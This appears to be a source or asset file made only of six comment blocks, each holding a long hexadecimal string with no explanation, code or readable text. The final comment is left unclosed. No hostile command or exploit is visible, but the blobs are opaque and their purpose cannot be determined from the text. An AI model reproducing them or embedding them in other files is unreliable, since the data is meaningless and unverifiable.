/*fb92efbbfa5189b022f02c799c30eeee0da936597d9e4e541b8ae9b209a12b7f8a751f0320f6a9d79aed620751e947e111dab1710705b0a24cdad204a4677baebd00bab0d14ea6eb7e73b1497d0d283bde6e2b76b0bb991a0e1cf188d625af9e17ff227a775864142aa1bd35fea44d75b87646b5e51a58b174eaa42ad200575be5ad3b0f777426042c7b7566f09f2dcd1c2e3f00f7da2b5aa0da720c2c14be8e450a5f80ae84161d9824f0a950e558f5c71fe0d26da3985d1283813a23b4302677fc747594b88f3df73ac1ba96078a7f52e565a5314c92c8e89d1e8d4679d572f33facc976b35bb69465eddd0f4796826a3834b0b83ca3c28a4c76c2a7258b2accacd50ae0755e592c7be78bb50fd96a98af5f4580d7e06298925bfc279dfa5007c9eb0f8e130bb0b0ff45e2b98a8a3d866b09a42013a468e9c5a50ad5bba12eb48e5153e9f5f64cfa5e85241280332f83838f6bf97329cf1edee35a0c6b9f59370d30f09dd90ae6e7169948d07f97da2076c023d319e64780ffa6331e0d9bc284afc976d0ed358169c027fb5f3df1d6cb22dfb5c5ee883263fcfd1fc6068ce4365b3c9e31f86cf9aedcccbd3dc7399152d27bcfeb208332279da901f561d639448389a91b9f7fc2c35247eb86921d474458be13f4bd094415bed52ad1cb3fcb7611b639478ab3f528f852dcfdcb0f8dd2b6881d1c78c609c5508d8da9f1d2c3d6a4298f0291e57c2104309b0486ba65b22a3559b7d3ff3ee456446467104c2286e4d56313752ce63f44c2b4e26a2aab03e0a7a376ad1d485173d4e34dbfb940c637376afeb9144904c8ce84044ffdc149c673080d90d0d844a573c888ed8ae322e171bf485d057498100eec97e2937990ea045135ffddc281c98eca021da2d256b27b5e38e6ba915d51d531e8dba07b3201a435f007b2a847f3d12d5f48c23622f211a48eb4e7c7c8001368fb01e71c1c7595a90f767a4637f711533d9a0660f6158feca2224a647e829858d310b10d072f8c5acf2fe90ee3e8a59b4135ad25382e70f9fc7779237c731ca02c8d3d06ed2753f2e36d3f09c9aaa215f540179232781b95c7bc28a8799f7723d170baa6a655cb50907fd46f810d14481d8e056e7bc932acb6d3d5cc1f708634e484a8c1995e202cf312ae5e7d24ed695c948628637c209c3535dc99586d5e88373f834e3e7591644dad38cde0a8d95430acc8324120fcc3b6190dff33165cce55fc0dc76e1dbfc2f2c0d9ee470337db484e5eb0495d69dad78cb4696011eda5a7ba0f5b5cbb975b72fd1523d25ae90584ad78adfbfcf9cdb01cb00fddcb436e2fb2b9cf66fda60e10e537411287db6ac8ac7fe2e3d531e3bb8b9ef555ec1b048b2c8cb3817331833440f254817cdb940f7b033e7ec1cea6218f482cd87a694ee8719b35a17089c5c63da9fe99eb3ff8ff1b7cf007df82628fdef9c29129d8161931fb11c6d7574f223cae7c9497271639a6ff799cd20f5d525bc82d946da30c584b436d96f9b2670e32ee530f1f4d411e936cb3e8e368f90c8dd31729aa533b3dceba44ffa3ec9287999722a913352957814ab7833a5b679d91ad7e75c8158d09cbda2f74de9bc102dbb2a80646bafbec57888d4ceb10c8d0bd5ff49e89151049bd752a46c8b7c0ec931adc92c088e574b52bb57f8e7f4e8d13876a6eb26f0539c3d28efd00d565c4da9591f63290fb9ba2df92fa2c54ed6ddfc9d22fb41b9e7e9de89b6c0fa3c932739a4e6fe790694e273571de1d5ba6185906da06129082d3a7b3c2ddddc342a7c7e3e1b65185da20a5b2e613f08b47ac9bcacd67354888d94894c7d628c0e6a34d89bc881111a26f016a9a7f555e0f11849fdeaa81c14dd8a3974b667d8a7d9833c756fccc1123a52611df032ddc672ee97f5bad8f7d127626d9bfd85961748bf6624870925cb2de5f4168e720639658e9c500ae160a04b62678b1bda1245d25a00546eea2523f9c48213b3386d8d53114442d3c2085ca8e1048c98b31f176ec8089b82794e2a29b69ba336645597b9373f0e442c3038ec41783f62fa73f5f8d7045409e7ca2937655945abd0f94abc6e12001ace685a9ca8d38bb5a152826f9c3631ceee71a765d000dfae1936f2d0a3053664f656ffb2055ee788106d21c19b7ffebe5dd2324dae121c284a19ffd6beef9963b3a9cac3d650cf47f6d75197ea2741013fdd086cb91459d6f7d6e4fc51bf4b26eb4eb0493b474be03bc603c2a697d53d6a86c7fafe94dd3bc831d536cf8f608f668f11ee099fdabde08c079e7386b001fc2cfe5d002a78621ef7d5bb5cdda4905437a26576e0900af048f016593a19843925665d84af6e18191a4e32d92c112a3d1a31f1122283fb2866ceccb251444a38df2edc6c122abfae66314de22de8f92b136aa504e2925725ddcafc0e4352cb466aa32d460805f84076e5c0f1f61dbafc105de47d4a0df3712de20219538bdce320cf677b5384cf23d4f41e88a6fe69434c41d849ea69b737d0e8a85607785717623278fc5d66b77cac319dcebb05c14b743afafd0283ad04b8291a1ec3facf5deaac0c2b0d2b6a17af708e962308daf1f4c13260e079d6e8e1aafc668d0ff0533c157aab15c6962acf18145796640f4d71de394fe66e11a2734bc20f03452e7862d1a343be02c5837cd8762f65acebcfa883600ded02d169882224d30c33432550dae4483ed6203f4d31a25d8bda0e4c307335bfd8878cec1597734ad6f26bd5522866d0c57bbbbf89ec0994ecacf01dc87df0959858d51308270e88a4ba16e9db4a1ddbd0f697f315c8b91368182b18b26229637c448*/
/*f35ee22381bc3eb456dec4a02d840c2e2ac28728ac4491973e6ca12a80327dadfac187507ec2627a9c5cd8b1f5b7d4010c24b0b1908a779f6c871256517b91bc8f0ffb4bedaaa3d998815c74dce50b5041f741aa9f31574eedf6bd7b19a1de1d904afa7ba9994549266943f48fb6b518975379e35150a55fdd2f80da7d43b9383b0f7a69dffd4b9bec6fc162e3719e972947aaa0cb704d461f8682a6cd81f1ea56b37369379657555ce857c64a86f7aafd392eec8aa95f3578317528d1690be4799c52352ef23ee56bab4323d694155272d8b3ee6f6440dfb9651d92e424e79c393708e9e16bca2a8a820add9e66d4d4b7b3e10123edfb133f2b5cfdebe0976a8e84a362460659118742268bec85edada3b127e65c59fd8d0976c9b5245ceed9b82db4994f7fa2d22fac817da4f9b50f8ec0093b0484e9f72c1c49cbb1e5269637bb74c6434bcfab926ce53e1ff495a2648d996b08e98f9f32ffd3109202ee4c277744132e5aacada24982d05331fb0b9ab8fe0b9c3c2386163ed8c5b943df0ad18ba3da5586d01c5f263472669e93b57be5eba22af748905e50054ab456c95dca157ee999c1851d0ec5758b4b94b583f73dd317b8429d43542489ad2e5ea85a8a99725e0e7aa2943d5e17b3ac54b2081f809eb9b65f89287d483e897ee73b847ef07ab61f12e5789341eb02a504a5e0d4dd88f6df2c34e42feb5f0ee166595eb2321f3030fd46e70948130f2d1146d7b5048b9b6e418fd28e584fdc0f65425b2e4ca753c0c3dd64b4a6a59dd3019c1eb3885159390e3bd1802e07063a95e9c69d1ffde91bad7a514a4aaf60215bb1f897c4181cf1c4c217e5172e107c64f732b2c8096732f33ea29b134b780fe6c536f43933617d04ea823b1dae55cc6d0b5c50e1fcb374eaef8fc9f452bc2af18424a42ae0912326bd3ff53333272a51364540e57b14984aece98615d3aba67d446fa2ce2b843b4ea6dea8f69f0cad65d94bfff6ed8694376456c7de12bf852ab5a956078cc4a56b8d173360081f9a3460fde903a76bb5400a50a5ca6c9bac04d7735a222cfdca1ad8587cd446ad29c27a601d34fb80bce3c5e4857bca8536078c3dabfb437092830ea27125b2bc4bd93b80bb0cc38ea987421aa40e613263e8b377ebe973c6481be5dca0ee55931900f0db327ff6f4d3cda081e3099ae79835a6c1ffc2d9475aadcdbcafcf789a17a52d33a05ed7bfc71218e06a391dd4af85ff9ab0ae68b9833b8a9ba29ee3536b914b284d4b7b36250f1bed4863d718b1f6b92fd989bffd3a176b3bceb34ffaba96503559ecb65d3d99a6585f3c76ca40a3669ef3e168d3efe6589d50921ba0a4d61b0ef38546644a31b10fc162f94c7e14c86e5e5e1e4df9066de7432e3e312f5273e4471ee75a723628b230128f66244141edd1458d5f97e38fb12abafdf3a4585daac32a0820e4382eeee167f62950036b7091138e17c1110a377a588105112b1613474c272395443d1788242a21f9dc250ade3484c8559831822707820a47d0d5686090d85dffc4eaeb940effc76f02c14b99f0e265cb7737a15e3e9618901753335036d3a2df6aac33a412454bb1637b62ac29ab05b02ebf463c3a1ddd2cc6c557fafc041227ce9f28cbfe9c783b810cffedebd608f0fdf355314a8240eb0560a889475eadbac4f7db80060a4a0c6c9bfe3f819a829f519c727c583160ecd79b04c09a4cb753b84c03d8504f57cd45ad2487a5efd21eaf125fef2b93a2fc3e5f7794d66a4adebb81cc25da699308e736ab61568531d997edf76d89a3c53daf3c53467bb2bad251673ef516e214a5db6e9890dd55889653632ec3847d35a9f8ab29f26ea9f670fce90868f22233901e8c4da8a792d5ecf693bd0623a6702086d9ba8f9f1cd7ced92d7676b64fbb9d265b22ad608e10caa7882dc40e20c267b1ead8e800e07511ed01b22f17c8d85e23e0e42358adbc39e050df0176f7057918327e956f3e2c99b39b9509e62be1df425b922583a1bbcac6e83dce4cfa2c7f442420d29486305c603f04f752637e42b39af848ae0b3e1ed6fd85893c163cd67dd498930fbb551abc186a12c1e3f495a7e058dae9b2882e000d3c5ace498c9264f70d66f3f2dcd8c67805431ee64523e7b2e2f8d4328cf288d74a2335e43908fbb338f4be49de715257340c760f4d9b458cb212d34c23aaf7f36923022f229459cac759711a5ae249d3ed327b2f948a035da226b57b2841931ee654f3ba184d8c6a3907092de7f120eaae1b0733b98287b3b1c4fa23a36d8eea07218effae647242ac316cd36a643d98395250565a97a5ce7d2f8ea6369d06d90cf105686efbd4fc8bc7bef5f289cefa5af649d1e29ad52f17133c5a73fe9224df39f40d7c30efd73e0567d7eb6917f76f9aeee684e4217ad892582bf7f1ccfcf2b190bba9e9cfbc7c4acddf6176219ee765045b7d2e62dd926ed1c58156e93cd75cff0f3938602f0f0f2007fba0f842343a4ead6fec32cd16a6aa2268795327822b800df3a4cfe8117cd2b75bde70034572a7091e61be40f960cb6d502f7053feeeab443cb864ee0f9795ebfc7698069fccc7a8ffa7d8536e3eb1ba79fc296cad99f3fcea2283d32179bd087e84e4c272c9f2d75caf8c977fba8479db8554eec0e3895b8fec26cdbd18ff978987a611c75bd5b40b2ca3e4200b10130fdfbf2f9a376975b78c6b6b74ce1121482000f99f4214b7eaee8af87169d0658f234048dd9ba3a1c944b2da4add9fd8a7b171f2c50fddecf4d97129b942f4e58008c42c0aca34b095be927f2b7f9bdfd7df9d21a53fc082ef283dc0c6*/
/*25967fc947664ea7b78bcf4f56346d1c54a6792d1f5803be7e3be67a0c2581e9ee50bab3b353f5acb40e35a4e6b0c70b0bbe1de8c3b375d2c68d5f4544fc9d9c4658ff8bc2eca4312802b6fabf0a287d045002b4fdd6dae6dea61ca56c034a755ef7bca6af34d815b5a93fcac43cd31abdd4218fa4ed65c33a884989aa64911f3066670f73536d2aae2f5c7369da8fd8a217b45190db174fb3b752713c8aca824de51d168cc6ff8bd25e81cb0a26123cd079234ed2093f6162c600feab5f264cd0446a7ac5fd72fb78048b96fe8a12cffa4f9124b51f4dd6f5752be256a5cfb8291376314b9c1bcacfb849dc7f5b0c468f70c0e87c0be2e3fee866e7a9a99b9c9c8bc577eeeb53ea8f9ae024cb60da2bfa13f46eeb9b7d084247031bb1243d605d4e4f086d8aa7d3aa1691edad281e8aab39174bdcfd7c5c7d7d6662f490206138c6ec2f273e5ceadd10c4c2223308c2b9952065211d953941af17eda1c708c2974240568d1404377785b960c4b70df542b3669e93c7383d556b4401d71bd2d852c91f302082d4f59b702e30bee729bd8ae5ace4ab455e1523a3ed781b7bd8311d422a0219f645801e308868ecd20ddd49f67dd3cbf1abd64e488328e0d6134b5f771771581c5e1a145134a844c8e462a48217b953051a816edcee8553c9b3107b336430e1755999ae2f3e1584b45dc63c480a020585afda91a43e87f0dfc9ecdfe78c73ed9b1b8fd63c893867272744665513ff942699ddd8a3f7c9ce19d05d0df89bfd92d6bbbab1ccf08268ab8840b96570347633ea39782f2911ca6bb051dde423d74eb2d9929bc25c5b1f140a3b39af3f0befbd3c8ed2d81c72bb44c5d30105fcbac64e356a98f09710eed54a42d807989bc4719758111ebc4460abe66764d2c05e618da1833a67355735d46e561f8782c2c5691506f39154672148ab869518dcae76279795e64a4093656e4be8e59ed2afc45fd921fd76049ee654fb55b780b538ef64458844f263e0904f2f60ee299b18c9f8bbbd7cbefb8d64374d7e2ccb4a0c08d828d3090e53296951acd74b42c00ed14abe8820110a7c391a7634a962163ba1cf953f638a8975e680065caa1a131c9dc31a176624f35c4f6c3d0e8b35c7e69d7f0f2a48611ec5c0c3d96ee1194bdef9e5275e2f5a5ab410052894b4375631be5b27e74e2ebe83e1968088534f88ced63f8538268f915e739d60dbc773f6b7c89feba37b52bbc9dc59124744a61c9107dbb5fecbe3fdbf59bc351501c2b6d524988a4ff96b74f8c1ad1ab0c14982155606723141d993740e6cc441b8d018843ea88a22db55e61756b06c15ac67b5525d24ea1fce454f4a6cdd53cf1b18508c0abbeb9dff21fa984c915ca2cd220f450ffe2e56d8932ddabce143e14b1df2c21ff6b69e2fa8751a5ae0e0375f09993733fb508de9fe9f897f1ab6f5e2e78ddd0a66691aec56ae7a0e3796122f271dadc343224241cfcfaddecf036a0d0d601fc7e7075a62c1836ef721687b14fd98b8b9c258a66fbcc80238ec2bae4e5bdbe927961c0a25833daeaf15b8a33b0015dedfcb35c77db945d7f6ce48ef6380f7046634b6e5959a8d6740cb1202594e2e3cc94ec8f5b8473a5cda813d0886828a644ceb9d5fc55417e6c0603ccdeceac35f4fa0bbf7254315bb7ffee99e51d37ef8b65f91eb2d02a071bb3ea7b538d5975d913f849386d35c7852a72f8579b50b0a5875396ae62796cb086f1514e45c6c89c77cbccedc1b641f6f2e8caab840a9a80ea3e40e57ff25fc3d9c344c64e2ff8a3cf1f167f12831091bb0d775e470b9ec183c3f7a2193d6483fdb02dc0904cbfaf014fb1a4428cd7ea4282a54fc65d9044b8408ae3bbcf62db1642596be48dec970d74ed4f2b9aa14875ec237791c5a996ade5b84af1f57af7c05b853ff8887b428b5414ea1d54868bf85cc00266ed765826b1cb0a298b42aca0c83cd0f53b7612a4ee6749b9f51ec5436b7a35e903ac1ba6e5364c7ed3855f091d4d0983b0954e3ee03bdb425292e28fe7bef604cf058e2111f8445ef91599febea3415157aa68a775456754956d2c6ee3c1aa67db70250e3c67989e16171ad1fb18fc6aa95b054922c30eee68288d72984d7b0b7db6e65da7ace168de97aa38576096b9a4d725e63d2c68c7d61343efcb1d278be8e15868da17360ef68585c534461d5ff2f2efac1729d6e4ec775d84de459a0d1de7d9f094ae62eade94f8624f24ffc84d43aac4f715ce5bd4f40d9d0047e497c72eb37ed76529c3cef284bc1151cc9a6a246b64670011cf26191742749bd5e9959c57cd1bac93034065a6e81965ce56e082140f85ba9aa0d2c730823cb9a02251ed0c269e9f03fa9bbdc7b29dd49a561d0fde7eb8f58c0467f0281763f2b3c757258276426fef752ae7534468d32fbf46ba74aa4956aaebd620b33ba776df21c89128de2c27ddfdc37cf923f75a9b9572af632016655b79c9828cd12e205c4c46ee7e96ceec0769c2ca61a27afd4a6a09d0860835f8a212d54d057d82bd0f0d01aeb1e3873961d90b415e7a896d3d092f2bcee82654a4d2b23b0f0ab1f88f0154456d6e007af9b03c32394fdad71eb83bbe794ca3a9547310994e0d852cad68436ed1fd331e8516714a62f616e41824121cd1522c4270f105a9435d467d489372114f0caaaa0340c0a34f1d9b86d36dfffecef88eecca37f2e744552737130534e9162cd205578fa8f629074ccc59f1475e02f001dd80f2f641f7e2d5f1a539aa777414f970fd0899aaab61f9e4c09eb49beead94182ca229aa08b29966d00395acd5ebea6fed38ece06439280cc*/
/*02bd9adc9908d25ac5d723d439222d4cdbb0b3baff03b6825600465bf34067fc5be7799282bcf976964b884d1658307bb6cf61b435263fc7eccae7beec2891ccfb09505be866175a6bce1d220fc525fa3b524f43a50c93f90932daea60a4afd006bf42b45e04126aba70db0f03271aface8b78f10a40308735a7b4a59bd0ff5899c98ff38a229c3049b22613dd73194de2a461d179b827938108897199159271daffe2fe32d5f275907ef048533e2b20a4686c47ce60c78a6f71fe281b8c873840e324d0c227c4b25c0c94cd4747a7101b51edd4a4ec8d339761f826bf2289bdc59261efaf93d7ce588045c6a3b8e13dfcb54663e012e3bd80232f9066dc194d618763b317e69fe3f9eec93e8b6a416c0cdbf5690c9fe00ec431f5a4825cc82359b2fa41311fbb42bd78898bb97a2abf1cf0921cf1f383d97acf6a1acd116f7dd512ec619b2f0c8143e3f747959632670b3db8ca75bdc0ba610b7c801aea473471f7947c87f45fa2c6fb3fe93bf94bd96c535ca24beb0f7b0992644d7e4395c7f785bd92c4d07bb126ad3631447cb58dcd7fb62ccf426eabd9e0f5eb53e9857e1a354149631ce0aea388aec0534d7d089e90f5467671a7794b79817c3bca14dcf9061eefa1c9c5737546b5a7110efc57a50eed78729d8707340e7d48a8ee3a13b7a806e8f44f04e05486aa6698f63b72549e33e03331f7cb9de10ee5faa1e4596ac385a05da4c06c031a83e8b53105306b16192488a958dfff22e63e23d75f3c7a860d5755c0a93ccc9b722ecb167c29153c3bcc1371c1910df68866a34fc97330af1776449b97b0037490c4c2eee444e5aab72c011ebedef4742133b4379a28baa333aba859e23049f269283419cf2f98d82850e82b445969a209ebee37173040a27e22a3572dc885cf9fd8b3696de9435f4782bb12d8da9c199aef0ab46ea131a77a4d0dcf861acf72217ee6d8f319c56a8d5b16d45886ff6c2fa84dda90b93422fe3f17f37f3c13a283ccd8471a694ce5ca286596772bf1f2cb9389cd2978be948bf0ef98f55121c815f6c22da3bca6f870cac102ee195ab19d6b8ae56781241d016e85c4d7ac6e6b442523d3f22d75783479978f7d0e36c25d6bef275410f0bef7e3276bdef8855b9531367e708ccade48533e96a6f9db572911996c79ede67ea0ba802434715870ad86ff974b7250bda329ae86e9da178d2cf2cd8916fec7688132cb449dc92cc4bfeece2fe47f79af1b8e0aabc16748fab0264341e5876d2591e371b9814dc001d94999311fc1f62fd21b6b0872110b6c1c151cf7afdd52aab50f58982b34a7d6a1400592e0f99abf63ffdce21d4125caa928510423284d28212b5ae28d39b28ba59b61fe41fbe8744db42f8084df9510e191f53e70032d4752c7c19310bd0271746b1bb8ea7fa2138ec17b0aac3255fecae62956abad4b01f5885cb20e21dffdb754426762da143920be430094a362ccefa112b9bf40ff4fbb376e7fb7c327b1c307b6a46d3d84516ecbc6d36e5f852031c6f057d761b1b7373fa7cf9f16af9e739690ec5c9b4b97dfacf29b9da533c373625bf119723c4304d96bfaf3fad8d117d51b5992bed2a405127d24bd4b48acea042be1f8fe584f3b5664188228245d897d17f01dadb9a0ecdd35861e6c7d3257ec7d696f593c382ff46018fdf4d8bae46f8a8fda9609ddcf54e9972da8213ec6fd78b7d89d6fb0f235c69ff29452805b5697f00dcf26e345aa774f8dcd829cbd76404e45a201156b3bd2d21f9c5063069f90b0f52c5842c102417ad7a4be8f09724dd224f556f5c6341722f861f886783ca10b1d9ec7c18f58df7f3de0e33ad58d3d2abd9c8df641211ffe0b626c41695ab28472b20311f9cf32c9f47f17a756d1a140a7eb54917633d03c62574dd996dc9ae763bcd611a2bc959a6d63faf97f59cdf79c783bff51d8cdde8ba2ebb031285c88ae92579a326e218a62b7aa82be8beaa035e2ca950b118ff42aca74605b540e081fb2733d6277e79b5d5e66f401566213344ab5254121579103773392708412fe888e3c4575949c6a5e62d8fbffc343d1a90460acbbd397e0d683757830de1d21350231cae04ab407b610f7505eecfb1a0c5824456c8d47374b3428046db87bf0f1e697718f3b8f06428f160bb670e499d1ba866b3f96c0134fd520700c63b9ff0ab7fb860d5bef49abf9d5bc9b7b6617cec0cb81bea5d0e836324a4d75e2958cb2d047a2cfc9092fa5b43f8295b3b4ba5a08a8c3d8d831da09ffea089df6210066c603b91d8e19def55637a4a4c74053645ca4d3ece2527d8a1f3faf29cec2b0f6441c10e9b531b5f2f73f33ce0d78fedb71e3eee1d10234d343cc4f9fe79c36d5843b347adc03dd22e734c8019db1a562718c33ea99cf152cece558bd39c59fcb46f304e3ea749b7dbd7dd10703fc550b8d86834a455c60402633883e4371789a8e1109590d580b153c75d0ab8dbd30409fb918ededc1b0bb834d91438e117a9c88cfd1f57871a23644923bc5cb5278476af7eb30c7ba96e3c9e185344e2bde23c0a31581539932b5cb92cff2ef74fc827fd8bb8b2c89aae04b257c56be63d9fe3e83c80285c9fab7d1b48aa36463d004f81436985e16bd4485263e4e99bb7abdbedd7b4c3d356db076bc16f406d7e0849fda0b4f60ed17dc64aa416369a297390871c5f5f10d33a5d96786e2fa9145cdbd853dcf0797f429c19308dedf84bb2012f7ce72ed67b4a72ac3811adccf48cc45b8fafc9e6f1d9703d11313f0c70a9da13cb6202696cf25b7bcfe2bdd6dc5bdb10b72fdef14b6f96edf3c49b80e60cf3c*/
/*9ee4fa2e97937814d629e0ac418d7aa6afe1910a63410556612436cf44da9914dac2dfda3753a62c8ac8806a5279bd919c36f3b3cec813b88c1442c54c140f443386aba8c47c42f3298806213bc52efe53683f2b418a2f64fd1f1159ef0f41d76843c05e23ea89cc13d961551f907591f9d10c5b27c4b9d410573c1c49e28a0055d776ec4c4a6af67fee8aa851ef75e9c0e4c447415974ae9765544b53b01fc4bbf9052cd184cbdc7005954f0e05fdf48261f559da6cc2ede06caa0f2117437986d387c292dd12e0de56a9b7867e89f23f3f5580ca1b3936c77dddd50245b2118790c91ee4013a40d3aeda13b53a651c05163caa09cbb63a480149c36fc942307f3c1ce1f2424f8caa1c18e716279e7d9169fafcc27692fcdf658726d82c8e8e4c982fc929cf35de6e1efa09efb998ff2065dacabed8f76b241e0885bc5cea3242426a3f082a5256fc90f537b4ff8215b7b53f7e167d7e8cb8357ec4fdf5306108baa1db58358a832f48e999be2109b2e96897734febaa3ac2c2b1728c9aeb350244e34bfc2bb01585c8da949805916a8d2032277381b52e4a19bdba8887baee97ee747bddc0e9fda582c4da89cb17440540c46a2710db52f8dc48a76d3241132e2d60f830e8eef063077c959e418fa3898e9b76d873ae745bed0b77f2f9be51724a3a7012426b04726da17f40cedaef766325cbc3581804ebb6aa70834f819a0a25bef03e18ae2cec8e613b596087c3e872664138c2d29566518ed5a7514ab36c3308ab727dbd6b00595f90d14c75944a426a24453a23aa237b290336a53dadc1f805bd96088356e29f70483c115b59463977ca290faabad4d7d341b00e757879409b25c7764fcfe487d2a594b2d1d7c79558fcd8355b7b757d1f6218a0e24551ac4faed54a55776a3523b9886f2af319cb2a53451314abd486d960593346dfefc39c21607cd2cd3a724337df7c4ecb7b1abea35dccb817628686451ce009db5524e3e78adc76c9b1ee162fda0780c23c15e37caa15fc5c7c7e921e8c9d62a6686b95ea6b27825324af69b41eaff16e6b5d5d6c920701e5dc79c1455c56ce0fba39ec3c0b212eb4e89046e26381bc6cf5bfe008330754612a5c4acfb7258d6e07a2200a142fc5c2a8817de4d293786b984e92eab29b0ff0cf08385b514bd06248eb1b50fb4c0579d17b8ac200fcc89d822a418134a805ef7e6c646e2cf9d11897d9fce2da6a99330684e987c5b1ff206ad7352bd9453619d6f8e74a004e0f76f3c0743f401e129c0d025aa3860a010f0056ead85918b8a9d7c7fbecce2d1038daa042cc8830e4111c4c792509b1a6b67506b08d3725d0bcd629ec4cd1a1f457b375eb20926b801371f2160478890cac7396d98135cd6c1ef86d6fdcf396342c7378f88f853655e4024f95baa5b0e0edd7ed4201c99ed2ac49408dff3b7483bbc0f4a061ccc41436f1b79fc3cf03a99c3ff47a8891b9b6b06b4f397648cfef7f9c6b7413d3c74a131c7d44f3f8306aa209ef07c8fa2fb8fa707c3db1af05ab656634c6c79185cb30931826b2128d46cb621ea1173e651e706ed0aa52b0635214732779213951a24f0210b6ec50d57687abe6f0c75acf03a5caaac0a2f0eb72612f09164a55c7373348e1041577942223f5659cfdade1c2209f5b9e87d9803d13492922959b44f4d55a55e15838ba518987acfaff7cb30531ca28b58f35116ee7369d263261473a1959de0061437fce73981d7b29c7b511bcc355587d665570528e0ffa27a5cf690fe0906d71089a15edf1b5b102ab2516ec0e6e451fa6e253db1b3be6bf852cfb2c91a495d300bb063ba3f6f04b8ee66180799af661981828c16f1dbd07a82068876781e4b8f7d22838ac66f8779c9d097a245b88b28a628f1d389e7b08680acaf738c918c4b30229fa36e6bca9acc5040500239207cbdb6c5a7f61d86a757e36b4147de3d100e34dfae35b309505ae0267f65f40262309ab7bb5302fb6476bd67fc4911f10bf3e8380273e2c85e334b247cbf547cb4615d903860ee2440252cba0e5401b036a9d8d9ab09718f855ff725808fa4d42f92329f5553f841329ec7386d2c7d331e60b84a5bca0ded51fb1e2293b0d004426405cc1cc4d140c2d9a88b0553f6f4f7088619f4db68aca630dec9dba27dcfe3943f4e7829a5616b9241c084054c9084228fbcdc42ff7898491228ae2237ab6fcf927201debbf942b4db74007fdf96c9e4a98c2d104740817ea32f07410d55693f4f0b5e7bd89ae2d419137bd318445644a8d956cfd947682031b9b07da8c3bddc85f6f3c4f4e55e8a772f939f65e0514c7b983cbdc4e87302e27dc9d3ce824010546fe72a6e9b81a85204c0bc179d070abe45720e32a43c73dd4ca2ac074a00366aa0c7c2e8ae7ca7bce23a19aad24a1b3e971a8e1630d4a4f11cb574fec8ebd726a54cbdf6fa10b73639dce90977d55c2524c39395313a0abda9ca7691809ea361949fd36b04b1605db95cb5a3ce88ec3252c97f62790b8dede6594df103823b6da79052412b0a576b5f278de8f676e7cf48d5faa4a52418b06892af44a34944fec13f1a59057ed722dc8f3eda3b1d167aef8c0fd95285b7a758e2fccb55ca02ae81be5b659f04c1d1fbb85eed004ce0d0dd3988f22baebd89085e2dcfb4ed24a75052d2ea7860fa50d4d24f4c2c1cb1ccee3757277cb9a4c3b208f3fe735c408006e94b20c3a81eb952c83559e210dc6c6eb1d322c23f3c8e3c9300eacd3948ce48465ce44b037598f6f2b456ea3cb7c11d51190bba5adf4aae4ec0f2f49dc4343c75f0a023f6d88acd9300210519f98844f*/
/*18ba70958c99b810edcf728f0cf03102dfc7d65a76ad8e1008e77d41f197185c3182246ab72ce9bce7705c9757aa6215b44b59aec1190973e368f24ed532998602e33fa4d107ff98ad5b47cf990d3d0157f97e36d523f5da047e2b55986d260c293a41ec0749421ba7489004bf591badc8c002087f0248f6db105f7add6c9f60192912a50dfe2745fec42969b5d30ff5d38bff44880854970fa2cf81da13e7895b461d70e9ec9655bac53299d6f0273d5f4ec225b1adbd0688635bb43d3951de50efe86bdf10db6ff2209a74c08559e46d8cfdebf9df80b98954de2fe47d72e9596bf9a54014b5304bdeaeafef5f4dacb9049fdc7d675112031596732600f460d7cc729238e6fbbc8f0983ae697c842b0040eff9b738a8683e26655cda2034c4b18f4826e23bf725044894f5e38e00f604bd9e3297ee915904be4c9ed11dbac9c5a38fc5c99c2fb60c142660658ca99d6dab5c75e1da48def738dde2fcb8823b0eb4108f8ddb5e209f8e9077c33e5faaa12b61a2a77c57e3a9cfa8b3cfa972f09692535ae8e3d386ccc6741ae6588ee1fc4b20318a1cb66b2a05755185c1f7bf4edd8c31de73e83df6fa62a4477cc07f852562eebdf87ce45e03ec0d2826cb647472d3d0b5bfb6466802d249a76eaacd35ac84c18c498aad8dfea6ba59548e87fc9240d07188746f560ab39bf2cd1e4fbe5eda39f9775058f26ce63c8fe6b09389aaf11a6f4b47a76be2c5a067d55974d6ff750d5eaab37856472740b8b991596409105505d0a2a8f61210d18fe393463971ac759327638088ae349e514d686877e482114b8b960f9ee6e983c4cef5b04a37e0553f487adff708b633bf4eb1f324d88f6ff33fe8d2a85cc75c9b65c956815681c04e22f93d6d4285d4b2a0ec30d70e90269dd2358d3e035d11045500869aba1f9904ef644b7bbc0a192cb2772d77f40ded1a4e9f4e8b10355d75dbe1adb687f1c66042cb27e8b0d627f1d43b2335dee9f991c971bf03e2381bea376cd7c96470dc38ea1348405c6f1c5aaeb54587526091378a25ed78c3a46c232de2cef8aa92239973b2c9329ac64605cb0883bc4366f1e81b55b260c5ddcde1f918d4dde0cd663c3080bce009eefc3e85fd3350c5944a16806b9e02603234f48a9cd5c10812a6fec58a0dcb2b7fa915a78af1f336ce5f94ec57c7f82106a32465c4819a2faec3e8c25e309ac7921238d4344ed6c47882bce64d4e96ca96f8e7edb2b5e52c4790b041d43caa08067b1644a21439f95589bf05cd2e02d383fd8e755439fae3eb9f31158b49feb0c7a0264fcd53d413d9128b91b4cf86937b62fb3db13aae8fe965b2ceef240444ea8c658953f105adb2e411032c5cc45df3158dedad3ce6674198e89aa9357e5f8739b7d6888e4f2a11722430c2e824624b3ec1778cb79d0bd1937164a57c7380738d7dec25c3841341669644c9b59f8908993b0e03b04a4fde57e1bed93c23f3623e1b2e139a276d8c0df3e0bffa483439b870b6e949f5827ec28a4d0a6628b5bd9071acfbd9345c67ab0a29fdaf261359f4375df367e5f35b9844bc3818f7b1b937aac28d9e9579d1881c76580565e4ff5f8bbc68bf998b42cd5b4d77fc7a43d6568e35e9d575f1993894e702ad4b2c257156c365f3a66faa19684d36edcb0cd4451771b94ef08fd5f4467fb286fa63d688247cd16ac73573ce5254283076558909dbacd906afeb4e6dda67866446953a09a005c19e4b4c7b774bb82a1474bf74101016cfbfa7dd9a7576b09efa3594516aa301252761ef032c907a8a65de9c5c51236d0a3c193b00797716e6a9ef641d3465ffe98008dd54bc7e0a3ac35670096f0978a7bf8d678d78772fcfcb407045de2569f223b0e55d5cd13f2835c60be62cb807d999c068cc02fba0ee3ab9f48dea4e77118c748ebf6b1dd05cc186a1f816732538b22416fc36579d4cb444d4cc499914d37cd9a408398c864f7fe53304ccb23eabfa17fa8f64dbdb26301992fd7d413a386100107a5d8f1a42920dbb72c2ae1355184a00dad370022374f81cf8b8ee9062cda54ce0059b67648f0622dbfba2b5115b9b416b30f501fc3304a1f89e0c032e5d9deefb1df0514a3ffcb4d8f01f15f62b046e08d5d184d60d58dccd3846895c4506a0bffdc68f5c439e175f69265f308bd0a842a853dcf5e75735676483ac8ff8633cb2eaa7de749491780def831ec7a3d7